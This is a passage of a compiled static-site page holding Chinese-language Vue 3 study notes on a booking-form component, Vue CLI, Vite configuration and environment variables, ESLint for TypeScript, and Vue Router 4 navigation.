公开一个名为 bookingCreated
的事件。 再创建一个名为 cabinIndex
的数据项来存储选定的客舱索引。
最后,创建一个名为 bookCabin
的方法。 此方法将检查 cabinIndex
的值,并且仅当该值为 0 或更大值(表示用户选择了客舱)时才运行。 如果此验证通过,我们发射返回选定的 cabinIndex
的事件,然后将 cabinIndex
重置为 -1。
添加显示模板
在 <template>
标记内添加以下代码创建显示内容:
< section>
+ < h2> Book now!</ h2>
+ < form>
+ < div class = " row" >
+ < label for = " cruise-cabin" > Select class:</ label>
+ < select id = " cruise-cabin" v-model = " cabinIndex" >
+ < option disabled value = " -1" > Select a cabin</ option>
+ < option v-for = " (cabin, index) in cabins" :value = " index" :key = " index" >
+ {{ cabin.name }} $ {{ cabin.price.toLocaleString('en-US') }}
+ </ option>
+ </ select>
+ </ div>
+ < div class = " row" >
+ < button class = " button" type = " button" @click = " bookCabin" > Book now!</ button>
+ </ div>
+ </ form>
+</ section>
+
该 HTML 创建窗体。 我们使用 v-for
创建下拉列表,从而循环访问 cabins
属性。 将 select
标记模型绑定到 cabinIndex
,用户选择客舱并选择该按钮时,会返回该模型。 然后,将按钮设置为在被选定时调用 bookCabin
。
将 BookingForm
添加到页面
打开 Host.vue
在 todo: Register next component
注释后添加以下代码以导入 BookingForm
:
import BookingForm from "./BookingForm.vue" ;
+
通过在 todo: Add next component
注释后添加以下代码,将 BookingForm
添加到可用组件列表中:
通过在 todo: Add methods
注释后添加以下代码来添加用于处理 bookingCreated
自定义事件的方法:
methods : {
+ addBooking ( cabinIndex ) {
+ const cabin = this . cruise. cabins[ cabinIndex] ;
+ const booking = {
+ cabin : cabin. name,
+ price : cabin. price
+ }
+ this . bookings. push ( booking) ;
+ }
+} ,
+
addBooking
函数使用索引检索选定的客舱。 然后,该函数使用 cabin.name
和 cabin.price
新建一个 booking
对象。 接下来,将 booking
添加到 bookings
数组中。
使用 booking-form
组件,使用方法为在 todo: Add booking-form
注释后添加以下代码:
< booking-form
+ @booking-created = " addBooking"
+ :cabins = " cruise.cabins"
+> </ booking-form>
+
我们将 addBooking
函数连接到 booking-created
事件,并传递要显示的客舱列表。
测试页面
保存并返回 http://localhost:8080
安装 `,157),yn={href:"https://v3.cn.vuejs.org/guide/installation.html#%E5%8F%91%E5%B8%83%E7%89%88%E6%9C%AC%E8%AF%B4%E6%98%8E",target:"_blank",rel:"noopener noreferrer"},fn=n("p",null,[s("将 "),n("code",null,"Vue.js"),s(" 添加到项目中主要有四种方式:")],-1),_n={href:"https://v3.cn.vuejs.org/guide/installation.html#cdn",target:"_blank",rel:"noopener noreferrer"},wn={href:"https://v3.cn.vuejs.org/guide/installation.html#%E4%B8%8B%E8%BD%BD%E5%B9%B6%E8%87%AA%E6%89%98%E7%AE%A1",target:"_blank",rel:"noopener noreferrer"},xn={href:"https://v3.cn.vuejs.org/guide/installation.html#npm",target:"_blank",rel:"noopener noreferrer"},En={href:"https://v3.cn.vuejs.org/guide/installation.html#%E5%91%BD%E4%BB%A4%E8%A1%8C%E5%B7%A5%E5%85%B7-cli",target:"_blank",rel:"noopener noreferrer"},Bn=p(` pnpm 大多数情况下,我们更倾向于使用 Vue CLI 来创建一个配置最小化的 webpack 构建版本
`,4),An=n("p",null,[s("本质上,"),n("em",null,"webpack"),s(" 是一个现代 JavaScript 应用程序的 "),n("em",null,"静态模块打包器(module bundler)"),s("。当 webpack 处理应用程序时,它会递归地构建一个"),n("em",null,"依赖关系图(dependency graph)"),s(",其中包含应用程序需要的每个模块,然后将所有这些模块打包成一个或多个 "),n("em",null,"bundle"),s("。")],-1),jn={href:"https://www.webpackjs.com/concepts/",target:"_blank",rel:"noopener noreferrer"},Vn=n("hr",null,null,-1),Cn=n("h3",{id:"命令行工具-cli",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#命令行工具-cli","aria-hidden":"true"},"#"),s(" 命令行工具(CLI)")],-1),Tn={href:"https://github.com/vuejs/vue-cli",target:"_blank",rel:"noopener noreferrer"},Sn={href:"https://cli.vuejs.org/",target:"_blank",rel:"noopener noreferrer"},Ln={href:"https://v3.cn.vuejs.org/guide/introduction.html",target:"_blank",rel:"noopener noreferrer"},Dn=p(`对于 Vue 3,你应该使用 pnpm
上可用的 Vue CLI v4.5
作为 @vue/cli
。要升级,你应该需要全局重新安装最新版本的 @vue/cli
:
pnpm install -g @vue/cli
+
`,2),Pn=p(`使用 @vue/cli
可视化创建 Vue 项目
选择 创建
后根据界面提示完成项目的创建
`,4),Nn={href:"https://blog.csdn.net/weixin_43852058/article/details/113752494",target:"_blank",rel:"noopener noreferrer"},Mn=n("em",null,"cxrlover 的博客-CSDN 博客",-1),In=p(`然后在 Vue 项目中运行
工具 TypeScript 支持 `,5),Rn={href:"https://cli.vuejs.org/",target:"_blank",rel:"noopener noreferrer"},Hn=p(` NPM 包中的官方声明 随着应用的增长,静态类型系统可以帮助防止许多潜在的运行时错误,这就是为什么 Vue 3 是用 TypeScript 编写的。这意味着在 Vue 中使用 TypeScript 不需要任何其他工具——它具有一等公民支持。
推荐配置
+{
+ "compilerOptions" : {
+ "target" : "esnext" ,
+ "module" : "esnext" ,
+
+ "strict" : true ,
+ "jsx" : "preserve" ,
+ "moduleResolution" : "node"
+ }
+}
+
请注意,必须包含 strict: true
(或至少包含 noImplicitThis: true
,它是 strict
标志的一部分) 才能在组件方法中利用 this
的类型检查,否则它总是被视为 any
类型。
`,7),Fn={href:"https://www.typescriptlang.org/docs/handbook/compiler-options.html",target:"_blank",rel:"noopener noreferrer"},Un=p(` VSCode 用户片段 vue.json
:
{
+
+
+
+
+
+
+
+
+
+
+
+
+
+ "vue-template" : {
+ "prefix" : "vue3" ,
+ "body" : [
+ "<script setup lang=\\"ts\\">" ,
+ "</script>" ,
+ "" ,
+ "<template>" ,
+ "</template>" ,
+ "" ,
+ "<style lang=\\"less\\" scoped>" ,
+ "</style>"
+ ] ,
+ "description" : "vue3 template"
+ }
+}
+
VSCode 插件 `,6),zn={href:"https://marketplace.visualstudio.com/items?itemName=antfu.iconify",target:"_blank",rel:"noopener noreferrer"},Wn={href:"https://marketplace.visualstudio.com/items?itemName=voorjaar.windicss-intellisense",target:"_blank",rel:"noopener noreferrer"},$n={href:"https://marketplace.visualstudio.com/items?itemName=Lokalise.i18n-ally",target:"_blank",rel:"noopener noreferrer"},Jn={href:"https://marketplace.visualstudio.com/items?itemName=octref.vetur",target:"_blank",rel:"noopener noreferrer"},On=n("ul",null,[n("li",null,"Vue3 推荐 Volar")],-1),Gn={href:"https://marketplace.visualstudio.com/items?itemName=dbaeumer.vscode-eslint",target:"_blank",rel:"noopener noreferrer"},Xn={href:"https://marketplace.visualstudio.com/items?itemName=esbenp.prettier-vscode",target:"_blank",rel:"noopener noreferrer"},Yn={href:"https://marketplace.visualstudio.com/items?itemName=stylelint.vscode-stylelint",target:"_blank",rel:"noopener noreferrer"},Kn={href:"https://marketplace.visualstudio.com/items?itemName=mikestead.dotenv",target:"_blank",rel:"noopener noreferrer"},Zn=n("hr",null,null,-1),Qn=n("h3",{id:"开发工具",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#开发工具","aria-hidden":"true"},"#"),s(" 开发工具")],-1),ns=n("h4",{id:"项目创建",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#项目创建","aria-hidden":"true"},"#"),s(" 项目创建")],-1),ss={href:"https://github.com/vuejs/vue-cli",target:"_blank",rel:"noopener noreferrer"},as=p(`
+pnpm install --global @vue/cli@next
+
+
+vue create my-project-name
+
+
+vue add typescript
+
请确保组件的 script
部分已将语言设置为 TypeScript:
< script lang = " ts" >
+ ...
+ </ script>
+
`,3),ts={href:"https://v3.cn.vuejs.org/guide/render-function.html#jsx",target:"_blank",rel:"noopener noreferrer"},ps=n("code",null,"render",-1),es=p(`< script lang = " tsx" >
+ ...
+ </ script>
+
`,4),os={href:"https://blog.csdn.net/qq_44628595/article/details/116061062",target:"_blank",rel:"noopener noreferrer"},cs=n("p",null,[n("img",{src:"http://cdn.ayusummer233.top/img/202201071019476.png",alt:"image-20220107101932334"})],-1),ls=n("p",null,"扩展加载错误, 根据扩展 id 可以查到是这个:",-1),is=n("p",null,[n("img",{src:"http://cdn.ayusummer233.top/img/202201071020000.png",alt:"image-20220107102054923"})],-1),us=n("p",null,"关掉就好了",-1),rs=n("hr",null,null,-1),ks=n("h2",{id:"vite",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#vite","aria-hidden":"true"},"#"),s(" Vite")],-1),ds={href:"https://cn.vitejs.dev/guide/",target:"_blank",rel:"noopener noreferrer"},vs=n("p",null,"Vite 是一种新型前端构建工具,能够显著提升前端开发体验。它主要由两部分组成:",-1),ms={href:"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Modules",target:"_blank",rel:"noopener noreferrer"},gs={href:"https://cn.vitejs.dev/guide/features.html",target:"_blank",rel:"noopener noreferrer"},bs={href:"https://cn.vitejs.dev/guide/features.html#hot-module-replacement",target:"_blank",rel:"noopener noreferrer"},hs={href:"https://rollupjs.org/",target:"_blank",rel:"noopener noreferrer"},qs={href:"https://cn.vitejs.dev/guide/api-plugin.html",target:"_blank",rel:"noopener noreferrer"},ys={href:"https://cn.vitejs.dev/guide/api-javascript.html",target:"_blank",rel:"noopener noreferrer"},fs={href:"https://cn.vitejs.dev/guide/why.html",target:"_blank",rel:"noopener noreferrer"},_s={href:"https://blog.csdn.net/qq1195566313/article/details/122769982",target:"_blank",rel:"noopener noreferrer"},ws=n("p",null,[n("code",null,"vite"),s(" 的优势")],-1),xs=n("code",null,"冷服务",-1),Es={href:"https://caniuse.com/es6-module",target:"_blank",rel:"noopener noreferrer"},Bs={href:"https://caniuse.com/es6-module-dynamic-import",target:"_blank",rel:"noopener noreferrer"},As={href:"https://vitejs.cn/guide/features.html#hot-module-replacement",target:"_blank",rel:"noopener noreferrer"},js={href:"https://rollupjs.org/",target:"_blank",rel:"noopener noreferrer"},Vs=p(` 目录结构 `,3),Cs={href:"https://blog.csdn.net/qq1195566313/article/details/122771007",target:"_blank",rel:"noopener noreferrer"},Ts=p("public
- 不会被编译, 放置静态资源
assets
- 存放可编译的静态资源
components
- 存放组件
App.vue
- 全局组件
main.ts
- 全局 ts 文件
index.html
- 非常重要的入口文件**(webpack,rollup 他们的入口文件都是 enrty input 是一个 js 文件 而 Vite 的入口文件是一个 html 文件,他刚开始不会编译这些 js 文件 只有当你用到的时候 如 script src="xxxxx.js" 会发起一个请求被 vite 拦截这时候才会解析 js 文件)**
vite.config.ts
- vite 配置项
",7),Ss=n("p",null,[n("code",null,"tsconfig.json"),s(" - TS 编译器配置")],-1),Ls={href:"https://www.jianshu.com/p/0383bbd61a6b",target:"_blank",rel:"noopener noreferrer"},Ds=n("hr",null,null,-1),Ps=n("h3",{id:"路径别名配置",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#路径别名配置","aria-hidden":"true"},"#"),s(" 路径别名配置")],-1),Ns={href:"https://segmentfault.com/a/1190000041417219",target:"_blank",rel:"noopener noreferrer"},Ms=p(`vite.config.ts
:
+import { join } from "path" ;
+import { defineConfig } from "vite" ;
+
+
+export default defineConfig ( {
+ resolve: {
+ alias: {
+ "@" : join ( __dirname, "src" ) ,
+ } ,
+ } ,
+} ) ;
+
tsconfig.json
{
+
+ "compilerOptions" : {
+
+ "baseUrl" : "." ,
+ "paths" : {
+ "@/*" : [ "src/*" ]
+ }
+ } ,
+
+}
+
+
如果你是刚创建的 TypeScript 项目,有可能会遇到找不到模块“path”或其相应的类型声明
的错误提示,安装@types/node
即可。
pnpm install @types/node --save-dev
+
单页面应用与多页面应用 `,8),Is={href:"https://juejin.cn/post/6844903512107663368",target:"_blank",rel:"noopener noreferrer"},Rs=p('
开始 搭建一个 Vite
项目 ',4),Hs={href:"https://cn.vitejs.dev/guide/#trying-vite-online",target:"_blank",rel:"noopener noreferrer"},Fs=n("p",null,[n("strong",null,"兼容性注意:")],-1),Us={href:"https://nodejs.org/en/",target:"_blank",rel:"noopener noreferrer"},zs=n("code",null,">= 12.0.0",-1),Ws=n("code",null,"Node",-1),$s=n("code",null,"Node",-1),Js=p(` 部署静态站点 `,3),Os={href:"https://cn.vitejs.dev/guide/static-deploy.html#testing-the-app-locally",target:"_blank",rel:"noopener noreferrer"},Gs=p(` 构建应用 默认情况下,构建会输出到 dist
文件夹中。你可以部署这个 dist
文件夹到任何你喜欢的平台。
本地测试应用 当构建完成应用后, 可以通过运行 npm run preview
命令, 在本地测试该应用
+npm run build
+npm run preview
+
+
+pnpm run build
+pnpm run preview
+
vite preview
命令会在本地启动一个静态 Web 服务器,将 dist
文件夹运行在 http://localhost:4173
。这样在本地环境下查看该构建产物是否正常可用就方便多了。
可以通过 --port
参数来配置服务的运行端口。
{
+ "scripts" : {
+ "preview" : "vite preview --port 8080"
+ }
+}
+
现在 preview
命令会将服务器运行在 http://localhost:8080
。
环境变量与模式 `,14),Xs={href:"https://cn.vitejs.dev/guide/env-and-mode.html",target:"_blank",rel:"noopener noreferrer"},Ys=n("hr",null,null,-1),Ks=n("h4",{id:"环境变量",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#环境变量","aria-hidden":"true"},"#"),s(" 环境变量")],-1),Zs=n("p",null,[s("Vite 在一个特殊的 "),n("strong",null,[n("code",null,[s("i"),n("wbr"),s("mport.meta.env")])]),s(" 对象上暴露环境变量。这里有一些在所有情况下都可以使用的内建变量:")],-1),Qs=n("strong",null,[n("code",null,[s("i"),n("wbr"),s("mport.meta.env.MODE")])],-1),na={href:"https://cn.vitejs.dev/guide/env-and-mode.html#modes",target:"_blank",rel:"noopener noreferrer"},sa=n("strong",null,[n("code",null,[s("i"),n("wbr"),s("mport.meta.env.BASE_URL")])],-1),aa={href:"https://cn.vitejs.dev/config/#base",target:"_blank",rel:"noopener noreferrer"},ta=n("code",null,"base",-1),pa=n("li",null,[n("strong",null,[n("code",null,[s("i"),n("wbr"),s("mport.meta.env.PROD")])]),s(": {boolean} 应用是否运行在生产环境。")],-1),ea=n("li",null,[n("strong",null,[n("code",null,[s("i"),n("wbr"),s("mport.meta.env.DEV")])]),s(": {boolean} 应用是否运行在开发环境 (永远与 "),n("code",null,[s("i"),n("wbr"),s("mport.meta.env.PROD")]),s("相反)")],-1),oa=p(' 生产环境替换 在生产环境中,这些环境变量会在构建时被静态替换 ,因此,在引用它们时请使用完全静态的字符串 。动态的 key 将无法生效。例如,动态 key 取值 import.meta.env[key]
是无效的。
它还将替换出现在 JavaScript 和 Vue 模板中的字符串。这本应是非常少见的,但也可能是不小心为之的。在这种情况下你可能会看到类似 Missing Semicolon
或 Unexpected token
等错误,例如当 "process.env.NODE_ENV"
被替换为 "development": ""
。有一些方法可以避免这个问题:
',4),ca=n("li",null,[s("对于 JavaScript 字符串,你可以使用 unicode 零宽度空格 "),n("strong",null,[n("code",null,"\\u200b")]),s(" (一个看不见的分隔符)来分割这个字符串,例如: "),n("code",null,[s("'i"),n("wbr"),s("mport.meta\\u200b.env.MODE'")]),s("。")],-1),la={href:"https://developer.mozilla.org/en-US/docs/Web/HTML/Element/wbr",target:"_blank",rel:"noopener noreferrer"},ia=n("code",null,[s("i"),n("wbr"),s("mport.meta.env.MODE")],-1),ua=n("hr",null,null,-1),ra=n("h4",{id:"env-文件",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#env-文件","aria-hidden":"true"},"#"),s(" .env 文件")],-1),ka={href:"https://github.com/motdotla/dotenv",target:"_blank",rel:"noopener noreferrer"},da={href:"https://cn.vitejs.dev/config/#envdir",target:"_blank",rel:"noopener noreferrer"},va=p(`.env # 所有情况下都会加载
+.env.local # 所有情况下都会加载,但会被 git 忽略
+.env.[mode] # 只在指定模式下加载
+.env.[mode].local # 只在指定模式下加载,但会被 git 忽略
+
环境加载优先级
一份用于指定模式的文件(例如 .env.production
)会比通用形式的优先级更高(例如 .env
)。
另外,Vite 执行时已经存在的环境变量有最高的优先级,不会被 .env
类文件覆盖。例如当运行 VITE_SOME_KEY=123 vite build
的时候。
.env
类文件会在 Vite 启动一开始时被加载,而改动会在重启服务器后生效。
加载的环境变量也会通过 import.meta.env
以字符串形式暴露给客户端源码。
为了防止意外地将一些环境变量泄漏到客户端,只有以 VITE_
为前缀的变量才会暴露给经过 vite 处理的代码。例如下面这个文件中:
DB_PASSWORD=foobar
+VITE_SOME_KEY=123
+
只有 VITE_SOME_KEY
会被暴露为 import.meta.env.VITE_SOME_KEY
提供给客户端源码,而 DB_PASSWORD
则不会。
像 Vben
中的 .env
, 这里所有的变量都会暴露出来
`,8),ma={href:"https://cn.vitejs.dev/config/index.html#envprefix",target:"_blank",rel:"noopener noreferrer"},ga=p('安全注意事项
.env.*.local
文件应是本地的,可以包含敏感变量。你应该将 .local
添加到你的 .gitignore
中,以避免它们被 git 检入。
由于任何暴露给 Vite 源码的变量最终都将出现在客户端包中,VITE_*
变量应该不包含任何敏感信息。
TypeScript 智能提示 ',3),ba={href:"https://github.com/vitejs/vite/blob/main/packages/vite/client.d.ts",target:"_blank",rel:"noopener noreferrer"},ha=n("code",null,"vite/client.d.ts",-1),qa=n("code",null,[s("i"),n("wbr"),s("mport.meta.env")],-1),ya=n("code",null,".env[mode]",-1),fa=n("code",null,"VITE_",-1),_a=p(`要想做到这一点,你可以在 src
目录下创建一个 env.d.ts
文件,接着按下面这样增加 ImportMetaEnv
的定义:
+
+interface ImportMetaEnv {
+ readonly VITE_APP_TITLE : string ;
+
+}
+
+interface ImportMeta {
+ readonly env: ImportMetaEnv;
+}
+
模式 默认情况下,开发服务器 (dev
命令) 运行在 development
(开发) 模式,而 build
命令则运行在 production
(生产) 模式。
这意味着当执行 vite build
时,它会自动加载 .env.production
中可能存在的环境变量:
# .env.production
+VITE_APP_TITLE=My App
+
在你的应用中,你可以使用 import.meta.env.VITE_APP_TITLE
渲染标题。
然而,重要的是要理解 模式 是一个更广泛的概念,而不仅仅是开发和生产。一个典型的例子是,你可能希望有一个 “staging” (预发布|预上线) 模式,它应该具有类似于生产的行为,但环境变量与生产环境略有不同。
你可以通过传递 --mode
选项标志来覆盖命令使用的默认模式。例如,如果你想为我们假设的 staging 模式构建应用:
vite build --mode staging
+
为了使应用实现预期行为,我们还需要一个 .env.staging
文件:
# .env.staging
+NODE_ENV=production
+VITE_APP_TITLE=My App (staging)
+
现在,你的 staging 应用应该具有类似于生产的行为,但显示的标题与生产环境不同。
比如 Vben
中的 .env.test
报错收集 listen EACCES: permission denied 127.0.0.1:3000
`,19),wa={href:"https://github.com/microsoft/WSL/issues/5514",target:"_blank",rel:"noopener noreferrer"},xa={href:"https://superuser.com/questions/1437780/how-to-fix-listen-eacces-permission-denied-on-any-port?newreg=cfbe3fc8d90b48579e87202a58f8679c",target:"_blank",rel:"noopener noreferrer"},Ea=n("code",null,"listen EACCES: permission denied",-1),Ba={href:"https://github.com/docker/for-win/issues/3171#issuecomment-554587817",target:"_blank",rel:"noopener noreferrer"},Aa={href:"https://docs.microsoft.com/en-US/troubleshoot/windows-server/networking/default-dynamic-port-range-tcpip-chang",target:"_blank",rel:"noopener noreferrer"},ja=n("p",null,[n("img",{src:"http://cdn.ayusummer233.top/img/202202081644610.png",alt:"image-20220208164408408"})],-1),Va=n("hr",null,null,-1),Ca=n("h6",{id:"找不到模块-vue-或其相应的类型声明。ts-2307",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#找不到模块-vue-或其相应的类型声明。ts-2307","aria-hidden":"true"},"#"),s(),n("code",null,"找不到模块“vue”或其相应的类型声明。ts(2307)")],-1),Ta={href:"https://www.cnblogs.com/JasmineHan/p/13673560.html",target:"_blank",rel:"noopener noreferrer"},Sa=p(`使用 vite 构建 vue-ts 项目时发现该报错
原因在于 typescript 只能理解 .ts 文件,无法理解 .vue 文件
解决方案: 在项目根目录或 src
文件夹下创建一个后缀为 .d.ts
的文件,并写入以下内容:
declare module "*.vue" {
+ import { ComponentOptions } from "vue" ;
+ const componentOptions: ComponentOptions;
+ export default componentOptions;
+}
+
然后发现本来就已经有了(
重启窗口后再看 HelloWorld.vue
, 报错消失了 😅
`,9),La=n("p",null,[s("PS: "),n("code",null,"App.vue"),s(" 里的错误是 "),n("code",null,"vuter"),s(" 报的, 使用 vue3 开发的话可以禁用 "),n("code",null,"vuter"),s(", 使用 "),n("code",null,"volar")],-1),Da={href:"https://juejin.cn/post/6966106927990308872",target:"_blank",rel:"noopener noreferrer"},Pa=n("hr",null,null,-1),Na=n("h2",{id:"eslint",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#eslint","aria-hidden":"true"},"#"),s(" ESLint")],-1),Ma={href:"https://juejin.cn/post/6955025103507849223",target:"_blank",rel:"noopener noreferrer"},Ia={href:"https://github.com/palantir/tslint/issues/4534",target:"_blank",rel:"noopener noreferrer"},Ra={href:"https://github.com/typescript-eslint/typescript-eslint",target:"_blank",rel:"noopener noreferrer"},Ha={href:"https://typescript-eslint.io/docs/linting/",target:"_blank",rel:"noopener noreferrer"},Fa=p(`2019 年 1 月,TypeScript
官方决定全面采用 ESLint
,之后也发布 typescript-eslint
项目,以集中解决 TypeScript
和 ESLint
兼容性问题。而之前的两个 lint
解决方案都将弃用:
typescript-eslint-parser
已停止维护在完成 ESLint
功能后,将弃用 TSLint
并帮助用户迁移到 ESLint
安装 pnpm i eslint @typescript-eslint/parser @typescript-eslint/eslint-plugin -D
+
@typescript-eslint/parser
为 ESLint
提供解析器。
@typescript-eslint/eslint-plugin
它作为 ESLint
默认规则的补充,提供了一些额外的适用于 ts
语法的规则。
配置文件 .eslintrc.js
module. exports = {
+ root : true ,
+ parser : "@typescript-eslint/parser" ,
+ plugins : [ "@typescript-eslint" ] ,
+ extends : [ "eslint:recommended" , "plugin:@typescript-eslint/recommended" ] ,
+} ;
+
`,10),Ua=p(`如上是最小化的一个配置文件
parser: '@typescript-eslint/parser,'
告诉 ESLint
使用 @typescript-eslint/parser
作为 parser package
这可以使 ESLint
可以理解 TypeScript
语法
不这样写的话会使 ESLint
像往常解析 JS
一样解析 TS
, 自然就会报错
plugins : [
+ '@typescript-eslint' ,
+] ,
+
告诉 ESLint
加载安装好的 @typescript-eslint/eslint-plugin
plugin package
这将允许你在代码库中使用这些 rules
extends : [
+ 'eslint:recommended' ,
+ 'plugin:@typescript-eslint/recommended' ,
+ ] ,
+
extends
属性告诉 ESLint
你的配置 extends(扩展)
了给定配置
'eslint:recommended'
是 ESLint
内置的 "推荐配置" ---- 他给出一个小的,合理的 rules
集, 这些 rules
是众所周知的最佳实践的 lint
'plugin:@typescript-eslint/recommended'
是官方的 "建议配置" --- 它就像 eslint:recomment
一样, 只不过它只针对 TypeScript-specific
插件中的 rules
module
报错: 'module' is not defined. eslint(no-undef)
`,5),za={href:"https://stackoverflow.com/questions/63478122/typescript-eslint-config-eslintrc-file-module-is-not-defined",target:"_blank",rel:"noopener noreferrer"},Wa=p(`env
里加上 node:true
即可解决
module. exports = {
+ root : true ,
+ parser : "@typescript-eslint/parser" ,
+ plugins : [ "@typescript-eslint" ] ,
+ extends : [ "eslint:recommended" , "plugin:@typescript-eslint/recommended" ] ,
+ env : {
+ node : true ,
+ } ,
+} ;
+
`,2),$a=p(` 配置 ignore files 在根目录下再创建一个 .eslintignore
文件, 它会告诉 ESLint
不要 lint
哪些文件(夹)
# don't lint build output (make sure it's set to your correct build folder name)
+dist
+
Router `,6),Ja={href:"https://next.router.vuejs.org/zh/introduction.html",target:"_blank",rel:"noopener noreferrer"},Oa={href:"http://v3.vuejs.org/",target:"_blank",rel:"noopener noreferrer"},Ga=p("嵌套路由映射 动态路由选择 模块化、基于组件的路由配置 路由参数、查询、通配符 展示由 Vue.js 的过渡系统提供的过渡效果 细致的导航控制 自动激活 CSS 类的链接 HTML5 history 模式或 hash 模式 可定制的滚动行为 URL 的正确编码 ",1),Xa=p(` 安装 pnpm install vue-router@4
+
vue3 装 router4
vue2 装 router3
入门 用 Vue + Vue Router 创建单页应用非常简单:通过 Vue.js,我们已经用组件组成了我们的应用。当加入 Vue Router 时,我们需要做的就是将我们的组件映射到路由上,让 Vue Router 知道在哪里渲染它们。下面是一个基本的例子:
在 src
目录下新建一个 router
文件夹, 新建一个 index.ts
文件
src/router/index.ts
:
+import {
+ createRouter,
+ createWebHistory,
+ createWebHashHistory,
+ createMemoryHistory,
+ RouteRecordRaw,
+} from "vue-router" ;
+
+
+
+
+const routes: Array < RouteRecordRaw> = [
+ {
+ path: "/" ,
+ component : ( ) => import ( "../components/HelloWorld.vue" ) ,
+ } ,
+ {
+ path: "/marquee" ,
+ component : ( ) => import ( "../components/Marquee.vue" ) ,
+ } ,
+] ;
+
+
+const router = createRouter ( {
+ history: createWebHistory ( ) ,
+ routes,
+} ) ;
+
+
+export default router;
+
在 main.ts
中引入并使用:
+import router from "./router" ;
+
+app. use ( router) ;
+
在 App,vue
中展示
< router-view> </ router-view>
+
可以使用 <router-link>
添加跳转链接
< router-link to = " /marquee" > 跑马灯组件跳转</ router-link>
+
请注意,我们没有使用常规的 a
标签,而是使用一个自定义组件 router-link
来创建链接。这使得 Vue Router 可以在不重新加载页面的情况下更改 URL,处理 URL 的生成以及编码。我们将在后面看到如何从这些功能中获益。
路由模式 `,20),Ya={href:"https://router.vuejs.org/zh/guide/essentials/history-mode.html",target:"_blank",rel:"noopener noreferrer"},Ka={href:"https://blog.csdn.net/qq1195566313/article/details/123585949?spm=1001.2014.3001.5502",target:"_blank",rel:"noopener noreferrer"},Za=p(`在创建路由器实例时,history
配置允许我们在不同的历史模式中进行选择。
+const router = createRouter ( {
+ history: createWebHistory ( ) ,
+ routes,
+} ) ;
+
Vue2 -> Vue3
路由模式名称变化
Vue2 Vue3 history createWebHistory hash createWebHashHistory abstact createMemoryHistory
Hash 模式 它在内部传递的实际 URL 之前使用了一个哈希字符(#
)。由于这部分 URL 从未被发送到服务器,所以它不需要在服务器层面上进行任何特殊处理。不过,它在 SEO 中确实有不好的影响 。如果你担心这个问题,可以使用 HTML5 模式。
`,7),Qa={href:"https://baike.baidu.com/item/%E6%90%9C%E7%B4%A2%E5%BC%95%E6%93%8E%E4%BC%98%E5%8C%96/3132",target:"_blank",rel:"noopener noreferrer"},nt=p(' HTML5 模式 用 createWebHistory()
创建 HTML5 模式,官方推荐使用这个模式
当使用这种历史模式时,URL 会看起来很 "正常",例如 https://example.com/user/id
。漂亮!
不过,问题来了。由于我们的应用是一个单页的客户端应用,如果没有适当的服务器配置,用户在浏览器中直接访问 https://example.com/user/id
,就会得到一个 404 错误。这就丑了。
不用担心:要解决这个问题,你需要做的就是在你的服务器上添加一个简单的回退路由。如果 URL 不匹配任何静态资源,它应提供与你的应用程序中的 index.html
相同的页面。漂亮依旧!
命名路由 ',8),st={href:"https://router.vuejs.org/zh/guide/essentials/named-routes.html",target:"_blank",rel:"noopener noreferrer"},at={href:"https://blog.csdn.net/qq1195566313/article/details/123589648",target:"_blank",rel:"noopener noreferrer"},tt=p(`除了 path
之外,你还可以为任何路由提供 name
。这有以下优点:
没有硬编码的 URL params
的自动编码/解码。防止你在 url 中出现打字错误。 绕过路径排序(如显示一个) const routes: Array < RouteRecordRaw> = [
+ {
+ path: "/" ,
+ name: "helloWorld" ,
+ component : ( ) => import ( "../components/HelloWorld.vue" ) ,
+ } ,
+ {
+ path: "/marquee" ,
+ name: "marquee" ,
+ component : ( ) => import ( "../components/Marquee.vue" ) ,
+ } ,
+] ;
+
官方示例:
const routes = [
+ {
+ path: "/user/:username" ,
+ name: "user" ,
+ component: User,
+ } ,
+] ;
+
要链接到一个命名的路由,可以向 router-link
组件的 to
属性传递一个对象:
< el-button>
+ < router-link
+ :to = " {
+ name: 'marquee'
+ }"
+ > 跑马灯组件跳转</ router-link
+ >
+</ el-button>
+
< router-link :to = " { name: 'user', params: { username: 'erina' }}" >
+ User
+</ router-link>
+
这跟代码调用 router.push()
是一回事:
router. push ( { name : "user" , params : { username : "erina" } } ) ;
+
在这两种情况下,路由将导航到路径 /user/erina
。
还可以使用 a 标签进行跳转
+< el-button>
+ < a href = " /marquee" > 使用a标签跳转到跑马灯</ a>
+</ el-button>
+
使用 router.push
进行跳转
+< el-button @click = " switchToMarquee" > 使用router.push跳转到跑马灯</ el-button>
+
+import router from "@/router" ;
+
+const switchToMarquee = ( ) : void => {
+ router. push ( "/marquee" ) ;
+} ;
+
三种跳转方式中只有使用 a 标签进行跳转是在重新加载界面的情况下更改 URL
编程式导航 `,14),pt={href:"https://router.vuejs.org/zh/guide/essentials/navigation.html#%E7%BC%96%E7%A8%8B%E5%BC%8F%E5%AF%BC%E8%88%AA",target:"_blank",rel:"noopener noreferrer"},et={href:"https://blog.csdn.net/qq1195566313/article/details/123589648",target:"_blank",rel:"noopener noreferrer"},ot=p(` 导航到不同位置 注意:在 Vue 实例中,你可以通过 $router
访问路由实例。因此你可以调用 this.$router.push
。
想要导航到不同的 URL,可以使用 router.push
方法。这个方法会向 history 栈添加一个新的记录,所以,当用户点击浏览器后退按钮时,会回到之前的 URL。
当你点击 <router-link>
时,内部会调用这个方法,所以点击 <router-link :to="...">
相当于调用 router.push(...)
:
声明式 编程式 <router-link :to="...">
router.push(...)
该方法的参数可以是一个字符串路径,或者一个描述地址的对象。例如:
+router. push ( "/users/eduardo" ) ;
+
+
+router. push ( { path : "/users/eduardo" } ) ;
+
+
+router. push ( { name : "user" , params : { username : "eduardo" } } ) ;
+
+
+router. push ( { path : "/register" , query : { plan : "private" } } ) ;
+
+
+router. push ( { path : "/about" , hash : "#team" } ) ;
+
注意 :如果提供了 path
,params
会被忽略,上述例子中的 query
并不属于这种情况。取而代之的是下面例子的做法,你需要提供路由的 name
或手写完整的带有参数的 path
:
const username = "eduardo" ;
+
+router. push ( \` /user/ \${ username} \` ) ;
+
